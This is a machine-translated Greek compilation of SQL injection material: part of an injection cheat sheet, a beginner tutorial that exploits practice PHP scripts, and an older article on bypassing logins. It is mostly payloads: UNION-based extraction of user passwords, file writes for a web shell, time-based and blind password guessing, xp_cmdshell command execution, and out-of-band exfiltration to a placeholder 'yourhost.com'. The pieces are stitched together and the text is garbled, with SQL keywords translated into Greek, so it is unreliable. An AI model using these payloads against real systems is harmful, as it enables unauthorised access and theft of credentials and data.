Η λειτουργία απλώς περιμένει τον καθορισμένο χρόνο χωρίς να φορτώσει τον επεξεργαστή.
Παραδείγματα:
if (επιλογή χρήστη) = "sa" αναμονή για καθυστέρηση "0:0:10"
Αναγνωριστικό προϊόντος =1; αναμονή καθυστέρησης "0:0:10"--
Αναγνωριστικό προϊόντος =1); καθυστέρηση αναμονής "0:0:10"--
Αναγνωριστικό προϊόντος =1";αναμονή για καθυστέρηση "0:0:10"--
Αναγνωριστικό προϊόντος =1"); καθυστέρηση αναμονής "0:0:10"--
Αναγνωριστικό προϊόντος = 1)); καθυστέρηση αναμονής "0:0:10"--
Αναγνωριστικό προϊόντος =1")); αναμονή καθυστέρησης "0:0:10"--
Σύνταξη:
ΣΤΟΙΧΕΙΟ ΣΗΜΕΙΩΣΗΣ (Πόσες φορές, κάντε αυτό) (M)
Παράδειγμα:
ΑΝ ΥΠΑΡΧΕΙ (ΕΠΙΛΟΓΗ * ΑΠΟ χρήστες WHERE username = "root") BENCHMARK(1000000000,MD5(1))
Ελέγχουμε την παρουσία του χρήστη root.

IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))
Έλεγχος ύπαρξης πίνακα στη MySQL
Σύνταξη:
pg_sleep(δευτερόλεπτα) (P)
Ύπνος για παρεχόμενα δευτερόλεπτα.

ύπνος (δευτερόλεπτα) (M)
ύπνος για τα παρεχόμενα δευτερόλεπτα.

bms_pipe.receive_message (O)
ύπνος για τα παρεχόμενα δευτερόλεπτα.
Παράδειγμα:
(SELECT CASE WHEN (NVL(ASCII(SUBSTR(((INJECTION)),1,1)),0) = 100) THEN dbms_pipe.receive_message(("xyz"),10) ELSE dbms_pipe.receive_message(("xyz" ),1) ΤΕΛΟΣ ΑΠΟ διπλό)
(ΕΝΕΣΗ) – το αίτημά σας.
Εάν η συνθήκη είναι αληθής, η απόκριση θα είναι 10 δευτερόλεπτα. Διαφορετικά η απάντηση θα είναι 1 δευτερόλεπτο.

33. Χρήσιμες δυνατότητες MySQL
Σύνταξη:
MD5()
SHA1()
ΚΩΔΙΚΟΣ ΠΡΟΣΒΑΣΗΣ()
ENCODE()
ΣΥΜΠΙΕΖΩ()
ROW_COUNT()
SCHEMA()
ΕΚΔΟΧΗ()

34. Ενέσεις SQL δεύτερης τάξης
Συνήθως, θα εισάγατε ένα ερώτημα SQL injection σε ένα πεδίο και θα περιμένατε να μην φιλτραριστεί.
Παράδειγμα:
Όνομα: " + (ΕΠΙΛΟΓΗ ΚΟΡΥΦΑΙΟΥ 1 κωδικού πρόσβασης ΑΠΟ χρήστες) + "
ΗΛΕΚΤΡΟΝΙΚΗ ΔΙΕΥΘΥΝΣΗ: [email προστατευμένο]
Εάν η εφαρμογή χρησιμοποιεί το όνομα πεδίου μιας αποθηκευμένης διαδικασίας ή λειτουργίας, τότε μπορείτε να το χρησιμοποιήσετε για ένεση.

35. Χρήση του SQL Server για εξαγωγή κατακερματισμών NTLM
Αυτή η επίθεση θα σας βοηθήσει να αποκτήσετε τον κωδικό πρόσβασης χρήστη των Windows του διακομιστή προορισμού μέσω του SQL Server, εάν δεν υπάρχει πρόσβαση από έξω. Μπορούμε να αναγκάσουμε τον SQL Server να συνδεθεί με τα Windows μέσω μιας διαδρομής UNC και να εξαγάγει την περίοδο λειτουργίας NTLM χρησιμοποιώντας ειδικά εργαλεία όπως το Cain & Abel.

Σύνταξη:
Διαδρομή UNC: "\\YOURIPADDRESS\C$\x.txt"
36. Άλλα παραδείγματα ενέσεων
SQL Server:
?vulnerableParam=1; SELECT * FROM OPENROWSET("SQLOLEDB", ((INJECTION))+".yourhost.com";"sa";"pwd", "SELECT 1")

?vulnerableParam=1; ΔΗΛΩΣΤΕ @q varchar(1024); SET @q = "\\"+((INJECTION))+".yourhost.com\\test.txt"; EXEC master..xp_dirtree @q
δημιουργεί ένα ερώτημα DNS στο (INJECTION).yourhost.com

(ΕΝΕΣΗ) - το αίτημά σας.
MySQL:
?vulnerableParam=-99 Ή (ΕΠΙΛΟΓΗ LOAD_FILE(concat("\\\\",((INJECTION)), "yourhost.com\\")))
Δημιουργεί ένα αίτημα NBNS/DNS στο yourhost.com
?vulnerableParam=-99 Ή (ΕΠΙΛΟΓΗ ((INJECTION)) INTO OUTFILE "\\\\yourhost.com\\share\\output.txt")
Γράφει δεδομένα στο αρχείο σας
(ΕΝΕΣΗ) - το αίτημά σας.
Μαντείο:
?vulnerableParam=(SELECT UTL_HTTP.REQUEST("http://host/ sniff.php?sniff="||((INJECTION))||"") FROM DUAL)
Το sniffer θα σώσει τα αποτελέσματα
?vulnerableParam=(SELECT UTL_HTTP.REQUEST("http://host/ "||((INJECTION))||".html") FROM DUAL)
Τα αποτελέσματα θα αποθηκευτούν σε αρχεία καταγραφής HTTP
?vulnerableParam=(SELECT UTL_INADDR.get_host_addr(((INJECTION))||".yourhost.com") FROM DUAL)

?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(((INJECTION))||'.yourhost.com',80) FROM DUAL)
Πρέπει να αναλύσετε την κυκλοφορία αιτημάτων DNS προς το yourhost.com
(ΕΝΕΣΗ) - το αίτημά σας.

Αυτό το υλικό είναι μια προσαρμοστική μετάφραση του άρθρου SQL Injection Cheat Sheet.

Χαιρετισμούς αναγνώστη. Τον τελευταίο καιρό, με ενδιαφέρει η ασφάλεια του Ιστού και σε κάποιο βαθμό η δουλειά μου σχετίζεται με αυτό. Επειδή Όλο και πιο συχνά άρχισα να παρατηρώ θέματα σε διάφορα φόρουμ που τους ζητούσα να δείξουν πώς λειτουργούν όλα, έτσι αποφάσισα να γράψω ένα άρθρο. Το άρθρο θα απευθύνεται σε όσους δεν το έχουν συναντήσει, αλλά θα ήθελαν να μάθουν. Υπάρχουν σχετικά πολλά άρθρα σχετικά με αυτό το θέμα στο Διαδίκτυο, αλλά για αρχάριους είναι λίγο περίπλοκα. Θα προσπαθήσω να περιγράψω τα πάντα με ξεκάθαρη γλώσσα και λεπτομερή παραδείγματα.

Πρόλογος

Για να κατανοήσετε αυτό το άρθρο, δεν χρειάζεστε πραγματικά γνώση της γλώσσας SQL, αλλά τουλάχιστον καλή υπομονή και λίγο μυαλό για απομνημόνευση.

Πιστεύω ότι μόνο η ανάγνωση του άρθρου δεν θα είναι αρκετή, γιατί... χρειαζόμαστε ζωντανά παραδείγματα - όπως γνωρίζετε, η εξάσκηση στη διαδικασία της απομνημόνευσης δεν είναι ποτέ περιττή. Επομένως, θα γράψουμε ευάλωτα σενάρια και θα εκπαιδεύσουμε σε αυτά.

Τι είναι η ένεση SQL;
Με απλά λόγια, πρόκειται για μια επίθεση στη βάση δεδομένων, η οποία θα σας επιτρέψει να εκτελέσετε κάποια ενέργεια που δεν είχε προγραμματιστεί από τον δημιουργό του σεναρίου. Παράδειγμα από τη ζωή:

Ο πατέρας έγραψε σε ένα σημείωμα στη μητέρα του να δώσει στη Βάσια 100 ρούβλια και να τα βάλει στο τραπέζι. Ξαναδουλεύοντας αυτό σε μια κωμική γλώσσα SQL, παίρνουμε:
ΠΑΡΤΕ 100 ΡΟΥΠΛΙΑ ΑΠΟ ΤΟ ΠΟΡΤΟΦΟΛΙ ΣΑΣ ΚΑΙ ΔΩΣΤΕ ΤΑ ΣΤΗ Βάσια

Δεδομένου ότι ο πατέρας έγραψε το σημείωμα άσχημα (Αδέξια γραφή) και το άφησε στο τραπέζι, το είδε ο αδερφός του Βάσια, Πέτυα. Ο Petya, ως χάκερ, πρόσθεσε το "OR Pete" εκεί και το αποτέλεσμα ήταν το ακόλουθο αίτημα:
ΠΑΡΤΕ 100 ΡΟΥΒΒΛΙΑ ΑΠΟ ΤΟ ΠΟΡΤΟΦΟΛΙ ΣΑΣ ΚΑΙ ΔΩΣΤΕ ΤΑ ΣΤΗ Βάσια Ή στον Πέτυα

Η μαμά, αφού διάβασε το σημείωμα, αποφάσισε ότι έδωσε χρήματα στη Vasya χθες και έδωσε 100 ρούβλια στον Petya. Ακολουθεί ένα απλό παράδειγμα SQL injection από τη ζωή:) Χωρίς να φιλτράρει τα δεδομένα (η μαμά μετά βίας μπορούσε να καταλάβει το χειρόγραφο), η Petya έκανε κέρδος.

Παρασκευή
Για εξάσκηση, θα χρειαστείτε ένα αρχείο με τα σενάρια πηγής για αυτό το άρθρο. Κατεβάστε το και αποσυσκευάστε το στον διακομιστή. Εισαγάγετε επίσης τη βάση δεδομένων και ορίστε τα δεδομένα στο αρχείο cfg.php

Αναζήτηση SQL injection

Όπως ήδη καταλάβατε, η ένεση προέρχεται από εισερχόμενα δεδομένα που δεν φιλτράρονται. Το πιο συνηθισμένο λάθος είναι ότι δεν φιλτράρετε το μεταδιδόμενο αναγνωριστικό. Λοιπόν, χοντρικά, βάλε εισαγωγικά σε όλα τα πεδία. Είτε πρόκειται για αίτημα GET/POST είτε ακόμα και για Cookie!

Αριθμητική παράμετρος εισαγωγής
Για εξάσκηση χρειαζόμαστε ένα σενάριο index1.php. Όπως είπα παραπάνω, εισάγουμε εισαγωγικά στο αναγνωριστικό ειδήσεων.

Επειδή Το αίτημά μας δεν έχει φιλτράρισμα:

$id = $_GET["id"]; $query = "SELECT * FROM news WHERE id=$id";

Το σενάριο θα το καταλάβει ως

SELECT * FROM news WHERE id=1"

Και θα μας δώσει ένα σφάλμα:
Προειδοποίηση: η mysql_fetch_array() αναμένει ότι η παράμετρος 1 θα είναι πόρος, ο boolean δίνεται στο C:\WebServ\domains\sqlinj\index1.php στη γραμμή 16

Εάν το σφάλμα δεν εμφανίζεται, μπορεί να υπάρχουν οι εξής λόγοι:

1. Η ένεση SQL δεν είναι εδώ - τα εισαγωγικά φιλτράρονται ή απλά αξίζει να το μετατρέψετε σε (int)
2. Η έξοδος σφάλματος είναι απενεργοποιημένη.

Εάν εξακολουθείτε να λαμβάνετε ένα σφάλμα - Γρήγορα! Βρήκαμε τον πρώτο τύπο SQL injection - Numeric input parameter.

Παράμετρος εισαγωγής συμβολοσειράς

Θα στείλουμε αιτήματα σε index2.php. Σε αυτό το αρχείο, το αίτημα μοιάζει με αυτό:
$user = $_GET["χρήστης"]; $query = "SELECT * FROM news WHERE user="$user"";

Εδώ επιλέγουμε ειδήσεις με όνομα χρήστη και πάλι δεν φιλτράρουμε.
Και πάλι στέλνουμε ένα αίτημα με μια προσφορά:

Έδωσε ένα σφάλμα. ΕΝΤΑΞΕΙ! Αυτό σημαίνει ότι υπάρχει μια ευπάθεια. Για αρχή, αυτό μας αρκεί - ας προχωρήσουμε στην εξάσκηση.

Ας αναλάβουμε δράση

Λίγη θεωρία

Πιθανότατα δεν μπορείτε να περιμένετε να βγάλετε κάτι από αυτό εκτός από λάθη. Πρώτα, καταλάβετε ότι το σημάδι " -- " θεωρείται σχόλιο στην SQL.

ΠΡΟΣΟΧΗ! Πρέπει να υπάρχουν κενά πριν και μετά. Στη διεύθυνση URL μεταδίδονται ως %20

Ό,τι έρχεται μετά το σχόλιο θα απορριφθεί. Δηλαδή, το αίτημα:
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

Θα πετύχει. Μπορείτε να το δοκιμάσετε στο σενάριο index2.php στέλνοντας ένα αίτημα όπως αυτό:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Μάθετε την παράμετρο ΕΝΩΣΗ. Στη γλώσσα SQL η λέξη-κλειδί ΕΝΩΣΗχρησιμοποιείται για να συνδυάσει τα αποτελέσματα δύο ερωτημάτων SQL σε έναν ενιαίο πίνακα. Δηλαδή για να βγάλουμε κάτι που χρειαζόμαστε από άλλο τραπέζι.

Ας το εκμεταλλευτούμε

Εάν η παράμετρος είναι "Αριθμητική", τότε δεν χρειάζεται να στείλουμε προσφορά στο αίτημα και φυσικά να βάλουμε ένα σχόλιο στο τέλος. Ας επιστρέψουμε στο σενάριο index1.php.

Ας στραφούμε στο σενάριο sqlinj/index1.php?id=1 UNION SELECT 1 . Το ερώτημα της βάσης δεδομένων μας μοιάζει με αυτό:
ΕΠΙΛΟΓΗ * ΑΠΟ ειδήσεις WHERE id=1 UNION SELECT 1
Και μας έκανε λάθος, γιατί... για να δουλέψουμε με ερωτήματα συγχώνευσης, χρειαζόμαστε τον ίδιο αριθμό πεδίων.

Επειδή Δεν μπορούμε να επηρεάσουμε τον αριθμό τους στο πρώτο αίτημα, τότε πρέπει να επιλέξουμε τον αριθμό τους στο δεύτερο ώστε να είναι ίσος με το πρώτο.

Επιλέγοντας τον αριθμό των πεδίων

Η επιλογή των πεδίων είναι πολύ απλή, απλώς στείλτε τα ακόλουθα αιτήματα:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Λάθος…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Πάλι λάθος!
sqlinj/index1.php?id=1 ΕΠΙΛΟΓΗ ΕΝΩΣΗΣ 1,2,3,4,5
Κανένα λάθος! Αυτό σημαίνει ότι ο αριθμός των στηλών είναι 5.

ΟΜΑΔΑ ΑΠΟ
Συμβαίνει συχνά να υπάρχουν 20 ή 40 ή και 60 πεδία. Για να μην χρειάζεται να τα ταξινομούμε κάθε φορά, χρησιμοποιούμε ΟΜΑΔΑ ΑΠΟ

Εάν το αίτημα
sqlinj/index1.php?id=1 ΟΜΑΔΑ ΑΠΟ 2
δεν έδειξε σφάλματα, πράγμα που σημαίνει ότι ο αριθμός των πεδίων είναι μεγαλύτερος από 2. Ας προσπαθήσουμε:

Sqlinj/index1.php?id=1 ΟΜΑΔΑ ΑΠΟ 8
Op, βλέπουμε ένα σφάλμα, σημαίνει ότι ο αριθμός των πεδίων είναι μικρότερος από 8.

Εάν δεν υπάρχει σφάλμα με το GROUP BY 4, και με το GROUP BY 6 υπάρχει σφάλμα, τότε ο αριθμός των πεδίων είναι 5

Καθορισμός στηλών εξόδου
Για να διασφαλίσουμε ότι δεν θα εμφανιστεί τίποτα σε εμάς από το πρώτο αίτημα, αρκεί να αντικαταστήσουμε ένα ανύπαρκτο αναγνωριστικό, για παράδειγμα:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5


Με αυτήν την ενέργεια, προσδιορίσαμε ποιες στήλες εμφανίζονται στη σελίδα. Τώρα, για να αντικαταστήσετε αυτούς τους αριθμούς με τις απαραίτητες πληροφορίες, πρέπει να συνεχίσετε το αίτημα.

Έξοδος δεδομένων

Ας πούμε ότι ξέρουμε ότι το τραπέζι υπάρχει ακόμα χρήστεςστο οποίο υπάρχουν τα πεδία ταυτότητα, όνομαΚαι πέρασμα.
Πρέπει να λάβουμε Πληροφορίες για τον χρήστη με ID=1

Επομένως, ας δημιουργήσουμε το ακόλουθο ερώτημα:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 ΑΠΟ χρήστες WHERE id=1
Το σενάριο συνεχίζει επίσης να βγαίνει

Για να γίνει αυτό, θα αντικαταστήσουμε τα ονόματα των πεδίων στη θέση των αριθμών 1 και 3

Sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1
Πήραμε ότι χρειαζόμασταν!

Για "παράμετρο εισαγωγής συμβολοσειράς" όπως στο σενάριο index2.phpπρέπει να προσθέσετε ένα εισαγωγικό στην αρχή και ένα σχόλιο στο τέλος. Παράδειγμα:
sqlinj/index2.php?user=-1" UNION SELECT name,2,pass,4,5 FROM users WHERE id=1 --%20

Ανάγνωση/Εγγραφή αρχείων

Για την ανάγνωση και εγγραφή αρχείων, ο χρήστης της βάσης δεδομένων πρέπει να έχει δικαιώματα FILE_PRIV.
Εγγραφή αρχείων
Στην πραγματικότητα, όλα είναι πολύ απλά. Για να γράψουμε ένα αρχείο, θα χρησιμοποιήσουμε τη συνάρτηση ΕΞΩΦΙΛ.
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 INTO OUTFILE "1.php" --%20
Τέλεια, το αρχείο έχει καταχωρηθεί σε εμάς. Έτσι, μπορούμε να γεμίσουμε το μίνι-κέλυφος:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 INTO OUTFILE "1.php" --%20
Ανάγνωση αρχείων
Η ανάγνωση αρχείων είναι ακόμα πιο εύκολη από τη σύνταξη. Αρκεί απλώς να χρησιμοποιήσετε τη λειτουργία LOAD_FILE, για τη θέση του πεδίου που επιλέγουμε:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Έτσι, διαβάσαμε το προηγούμενο γραπτό αρχείο.

Μέθοδοι προστασίας

Το να προστατεύσετε τον εαυτό σας είναι ακόμα πιο εύκολο από το να εκμεταλλευτείτε μια ευπάθεια. Απλώς φιλτράρετε τα δεδομένα. Εάν περνάτε αριθμούς, χρησιμοποιήστε
$id = (int) $_GET["id"];
Όπως πρότεινε ο χρήστης malroc. Προστατέψτε τον εαυτό σας χρησιμοποιώντας ΠΟΠ ή προετοιμασμένες δηλώσεις.

Αντί να ολοκληρωθεί

Εδώ θέλω να τελειώσω το πρώτο μου μέρος σχετικά με το "SQL injection για αρχάριους". Στο δεύτερο θα δούμε πιο σοβαρά παραδείγματα ενέσεων. Δοκιμάστε να γράψετε ευάλωτα σενάρια και να εκτελέσετε ερωτήματα μόνοι σας.
Και να θυμάστε, μην εμπιστεύεστε κανέναν χρήστη του ιστότοπού σας.

Ετικέτες: Προσθήκη ετικετών

SQL Injectionμια πολύ καλή ευκαιρία για έναν χάκερ να πάρει
πρόσβαση στον διακομιστή. Και με λίγη προσπάθεια, αυτός
το καταλαβαινει ακομα :)

Κωδικοποιητής μέσα

Σήμερα, υποστηρίζεται η εργασία με βάσεις δεδομένων
σχεδόν όλες οι γλώσσες προγραμματισμού, αυτές περιλαμβάνουν τις BASIC, C++, Java, PERL, PHP, Assembler ακόμα και JavaScript! Και αυτά τα προγράμματα δεν ονομάζονται τίποτα περισσότερο από DBMS - συστήματα διαχείρισης βάσεων δεδομένων. Οι βάσεις δεδομένων χρησιμοποιούνται συχνά για την επίλυση οικονομικών προβλημάτων,
λογιστική, οργάνωση προσωπικού, αλλά έχουν βρει την εφαρμογή τους και στο Διαδίκτυο.

Οι βάσεις δεδομένων χρησιμοποιούνται συχνά για τη σύνταξη εφαρμογών WEB. Η χρήση τους είναι πιο κατάλληλη για την αποθήκευση δεδομένων εγγραφής χρήστη, αναγνωριστικών συνεδρίας, οργάνωσης αναζητήσεων, καθώς και άλλων εργασιών που απαιτούν περισσότερη επεξεργασία
ποσότητα δεδομένων. Για την πρόσβαση στη βάση δεδομένων, χρησιμοποιούνται τεχνολογίες διακομιστή: PHP, PERL, ASP, κ.λπ. Εδώ αρχίζει η διασκέδαση. Όταν είστε στον διακομιστή
όλες οι ενημερώσεις κώδικα είναι εγκατεστημένες και το τείχος προστασίας αποκλείει όλες τις θύρες εκτός από τη θύρα 80 ή όταν απαιτείται έλεγχος ταυτότητας για πρόσβαση σε ορισμένα δεδομένα, ένας χάκερ μπορεί να χρησιμοποιήσει το SQL Injection για να χακάρει. Η ουσία αυτής της επίθεσης είναι να εκμεταλλευτεί ένα σφάλμα στη διασταύρωση τεχνολογιών WEB και SQL. Το γεγονός είναι ότι πολλές ιστοσελίδες για την επεξεργασία δεδομένων χρήστη αποτελούν ένα ειδικό SQLαίτημα βάσης δεδομένων. Η απρόσεκτη χρήση αυτής της τεχνικής μπορεί να οδηγήσει σε αρκετά ενδιαφέροντα αποτελέσματα...

SQL Injection

Για να εξηγήσουμε την επίθεση, ας φανταστούμε ότι πήγατε στον ιστότοπο για να κατεβάσετε ένα πολύ σημαντικό εργαλείο και παρατηρήσατε με τρόμο ότι μόνο ένας εγγεγραμμένος χρήστης μπορεί να το κάνει αυτό και η εγγραφή, φυσικά, κοστίζει χρήματα 🙂 Δεν θέλετε να χαρίσετε τελευταία χρήματα, αλλά δεν μπορείτε να το κάνετε χωρίς το πρόγραμμα! Ήρθε η ώρα να θυμηθούμε πώς
πρόσβαση σε βάσεις δεδομένων SQL. Για παράδειγμα, ο έλεγχος της σύνδεσης και του κωδικού πρόσβασής σας στην PHP μπορεί να μοιάζει με αυτό:

$result=mysql_db_query($db,"SELECT * FROM $table WHERE user="$login" ΚΑΙ
pass="$password"");
$num_rows=mysql_num_rows($result);
mysql_close($link);
αν ($num_rows!=0)
{
// ΟΚ
}
αλλού
{
// ΣΦΑΛΜΑ ΕΛΕΓΧΟΥ ΤΑΥΤΟΤΗΤΑΣ
}

Πρόσθεσα δύο σχόλια, "ΕΝΤΑΞΕΙ ΑΥΘΕΝΤΙΚΟΤΗΤΑ" - πρέπει να το αντικαταστήσω
μεταβείτε στον κωδικό που θα εκτελεστεί εάν ο κωδικός πρόσβασης και η σύνδεση είναι σωστά. Ένα άλλο "ΣΦΑΛΜΑ ΑΥΘΕΝΤΙΚΟΤΗΤΑΣ" είναι ένα μέρος όπου θα περιγραφεί ο κώδικας που θα εκτελεστεί εάν είναι λανθασμένος. Εάν συμπληρώσετε τη φόρμα, το αίτημα θα μοιάζει με "http://www.server.com?login=user&password=31337", όπου www.server.com είναι το όνομα
ο διακομιστής στον οποίο προσπαθούμε να συνδεθούμε. Βρήκαμε αυτό που ψάχναμε, και ως εκ τούτου θα επιστρέψουμε στη δουλειά ξανά SQL. Έτσι, εάν πρέπει να καθορίσετε ένα login και έναν κωδικό πρόσβασης για εξουσιοδότηση, τότε το παραγόμενο SQLτο αίτημα θα μοιάζει με αυτό:

ΕΠΙΛΟΓΗ * ΑΠΟ χρήστες WHERE login="user" ΚΑΙ
κωδικός πρόσβασης = "31337"

Αυτό σημαίνει κάπως έτσι: επιστρέψτε σε μένα όλες τις εγγραφές από τη βάση δεδομένων των χρηστών των οποίων η σύνδεση είναι "χρήστης" και ο κωδικός πρόσβασης είναι "31337". Εάν υπάρχει τέτοια εγγραφή, τότε ο χρήστης είναι εγγεγραμμένος, αλλά αν όχι, τότε όχι... Αλλά υπό ορισμένες συνθήκες, όλα μπορούν να διορθωθούν. Αυτό αναφέρεται στην κατάσταση όταν η εφαρμογή δεν ελέγχει τα περιεχόμενα των μεταδιδόμενων δεδομένων ή δεν τα ελέγχει πλήρως για την παρουσία SQLοδηγίες. Σε αυτό το παράδειγμα, ελέγχονται δύο πεδία σύνδεσης και κωδικός πρόσβασης, αλλά εάν ορίσετε ως κωδικό πρόσβασης "31337′ ΚΑΙ email=" [email προστατευμένο]"(χωρίς διπλά εισαγωγικά), τότε το ερώτημα θα αποδειχθεί λίγο διαφορετικό:

SELECT * FROM users WHERE login="user" AND password="31337" AND
email=" [email προστατευμένο]"

Και αν υπάρχει το πεδίο email, θα ελεγχθεί και αυτή η συνθήκη. Αν θυμάστε τα βασικά της άλγεβρας Boole, σας έρχεται στο μυαλό ότι εκτός από τη λειτουργία "and", υπάρχει και ένα "or" και δεδομένου ότι η χρήση τους υποστηρίζεται από SQL, μπορείτε να
με τον τρόπο που περιγράφεται, προσθέστε μια συνθήκη που επιστρέφει πάντα true. Για να το κάνετε αυτό, πρέπει να καθορίσετε ως σύνδεση "χρήστης" Ή 1=1—, οπότε το αίτημα θα λάβει τη μορφή:

SELECT * FROM users WHERE login="user" OR 1=1--" AND
κωδικός πρόσβασης = "31337"

Πρώτα πρέπει να ξέρετε ότι το "-" σημαίνει το τέλος του αιτήματος και όλα μετά το "-"
δεν θα υποστεί επεξεργασία! Αποδεικνύεται ότι κάναμε ένα αίτημα:

SELECT * FROM users WHERE login="user" Ή 1=1

Όπως μπορείτε να δείτε, προσθέσαμε τη συνθήκη "1=1", που σημαίνει ότι το κριτήριο επαλήθευσης θα είναι "εάν η σύνδεση είναι "χρήστης" ή 1=1", αλλά το 1 ισούται πάντα με 1 (η μόνη εξαίρεση μπορεί να είναι η αριθμητική του Dani Shepovalov :)). Για να τεστάρουμε τις υποψίες μας
Εισαγάγετε "http://www.server.com?login=user ή 1=1—&password=31337" στη γραμμή διευθύνσεων. Αυτό οδηγεί στο γεγονός ότι δεν έχει σημασία ποια σύνδεση καθορίσαμε, αλλά
ειδικά τον κωδικό πρόσβασης! Και είμαστε στο matrix... ω, στο σύστημα και μπορούμε να κατεβάσουμε ήρεμα ότι χρειαζόμαστε.

Αλλά όλα αυτά είναι στη θεωρία. Στην πράξη, δεν γνωρίζουμε πώς σχηματίζεται το αίτημα, ποια δεδομένα μεταδίδονται και με ποια σειρά. Επομένως, είναι απαραίτητο να καθορίσετε "χρήστης" Ή 1=1—" για όλα τα πεδία. Θα πρέπει επίσης να ελέγξετε τη φόρμα υποβολής για κρυφά πεδία. Σε HTML περιγράφονται ως " " Εάν υπάρχει, αποθηκεύστε τη σελίδα και αλλάξτε τις τιμές αυτών των πεδίων. Οι τιμές που περιέχονται σε αυτά συχνά ξεχνιούνται να ελεγχθούν για την παρουσία δηλώσεων SQL. Αλλά για να λειτουργήσουν όλα, θα πρέπει να καθορίσετε την πλήρη διαδρομή προς το σενάριο που επεξεργάζεται αυτό το αίτημα στη φόρμα (ετικέτα "FORM") για την παράμετρο "ACTION".

Αλλά δεν είναι πάντα γνωστό πώς σχηματίζεται το αίτημα,
Το προηγούμενο παράδειγμα θα μπορούσε να διαμορφωθεί με τους εξής τρόπους:

SELECT * FROM users WHERE (login="user" AND password="31337")
SELECT * FROM users WHERE login="user" AND password="31337"
ΕΠΙΛΟΓΗ * ΑΠΟ χρήστες WHERE login=χρήστης ΚΑΙ κωδικός πρόσβασης=31337

Σε αυτήν την περίπτωση, μπορείτε να δοκιμάσετε τις ακόλουθες επιλογές:

'Ή 1=1—
» Ή 1=1—
Ή 1=1—
‘Ή ‘a’=’a
"Ή "a"="a
') Ή ('a'='a
Ή '1'='1'

Όλα εξαρτώνται από τον σκοπό του σεναρίου και από τον προγραμματιστή. Δεδομένου ότι κάθε άτομο τείνει να κάνει τα πάντα με τον δικό του τρόπο, είναι πολύ πιθανό ο προγραμματιστής να μην επιλέξει την πιο εύκολη επιλογή. Επομένως, δεν πρέπει αμέσως
παραιτηθείτε εάν σας απορρίψουν. Απαραίτητη
δοκιμάστε όσο το δυνατόν περισσότερες επιλογές...

Ανίχνευση κωδικού πρόσβασης

Η παράκαμψη της εξουσιοδότησης δεν είναι κακό, αλλά πολύ συχνά η τρύπα που χρησιμοποιείτε κλείνει και ό,τι ήταν διαθέσιμο χάνεται.
Αυτό είναι αναμενόμενο εάν ο προγραμματιστής δεν είναι ανόητος
Με τον καιρό θα κλείσει όλα τα κενά. Μπορείτε εύκολα να απαλλαγείτε από τέτοιες καταστάσεις φροντίζοντας το εκ των προτέρων. Η σωστή λύση μπορεί να είναι να μαντέψετε τον κωδικό πρόσβασης χρησιμοποιώντας
ανάλυση των αποτελεσμάτων ελέγχου ταυτότητας. Αρχικά, ας προσπαθήσουμε να μαντέψουμε τον κωδικό πρόσβασης, για να το κάνετε αυτό, εισαγάγετε τη θέση του:

'OR password>'a

Εάν μας πουν ότι η εξουσιοδότηση έχει περάσει, τότε ο κωδικός πρόσβασης
δεν ξεκινά με το γράμμα «a», αλλά με ένα από τα παρακάτω στη λίστα. Ας προχωρήσουμε και ας αντικαταστήσουμε
θέση «α», επόμενο «β», «γ», «δ», «ε»... κ.λπ. μέχρι να μας πουν ότι ο κωδικός δεν είναι σωστός. Αφήστε αυτή τη διαδικασία να σταματήσει στο σύμβολο "x", οπότε δημιουργούνται δύο επιλογές για την εξέλιξη της κατάστασης: να βρεθεί ο κωδικός πρόσβασης ή ο κωδικός πρόσβασης να ξεκινά με αυτό το σύμβολο. Για να ελέγξετε την πρώτη επιλογή, γράψτε τη θέση του κωδικού πρόσβασης:

'OR password='x

και αν γίνει αποδεκτός ο κωδικός και σας επιτραπεί να μπείτε, τότε μαντέψατε τον κωδικό! Λοιπόν, όχι, τότε θα πρέπει να επιλέξετε τον δεύτερο χαρακτήρα,
ακριβώς το ίδιο, από την αρχή. Ελέγξτε για δύο χαρακτήρες
χρειάζονται το ίδιο. Στο τέλος, θα λάβετε έναν κωδικό πρόσβασης και θα αναζητήσετε σύνδεση με τον ίδιο τρόπο :)
Εάν ο κωδικός πρόσβασης και η σύνδεση που βρήκατε δεν σας ταιριάζουν, μπορείτε να βρείτε άλλους. Για να το κάνετε αυτό, πρέπει να ξεκινήσετε τον έλεγχο από τον τελευταίο χαρακτήρα του κωδικού πρόσβασης που βρέθηκε. Έτσι, εάν ο κωδικός πρόσβασης ήταν "xxx", είναι απαραίτητο να ελέγξετε την ύπαρξη του κωδικού πρόσβασης
"xxxy":

‘OR password=’xxx

για να μην χάσετε περισσότερες από μία επιλογές!

MS SQL Server

Ο MS SQL Server είναι γενικά θεϊκό δώρο εάν χαθεί το απαραίτητο φιλτράρισμα. Χρησιμοποιώντας την ευπάθεια SQL Injection μπορείτε να εκτελέσετε
εντολές στον απομακρυσμένο διακομιστή χρησιμοποιώντας exec master..xp_cmdshell. Αλλά για να χρησιμοποιήσετε αυτό το σχέδιο
πρέπει να ολοκληρωθεί η λειτουργία SELECT. Στην SQL, οι εντολές διαχωρίζονται με ερωτηματικά. Επομένως, για να συνδεθείτε σε κάποια IP μέσω Telnet, πρέπει να πληκτρολογήσετε τον κωδικό πρόσβασης/θέση σύνδεσης:

"; exec master..xp_cmdshell "telnet 192.168.0.1" --

Ο MS SQL Server έχει πολλά ακόμη ενδιαφέροντα χαρακτηριστικά που σας επιτρέπουν να μάθετε στοιχεία σύνδεσης και κωδικούς πρόσβασης που είναι αποθηκευμένοι στη βάση δεδομένων. Για να γίνει αυτό, η έξοδος σφάλματος ανακατευθύνεται σε έναν αυθαίρετο διακομιστή και μέσω αυτών
ανάλυση, μπορείτε να μάθετε το όνομα του πίνακα, τα πεδία και τους τύπους τους. Μετά από αυτό μπορείτε να ζητήσετε

' UNION SELECT TOP 1 σύνδεση ΑΠΟ χρήστες—

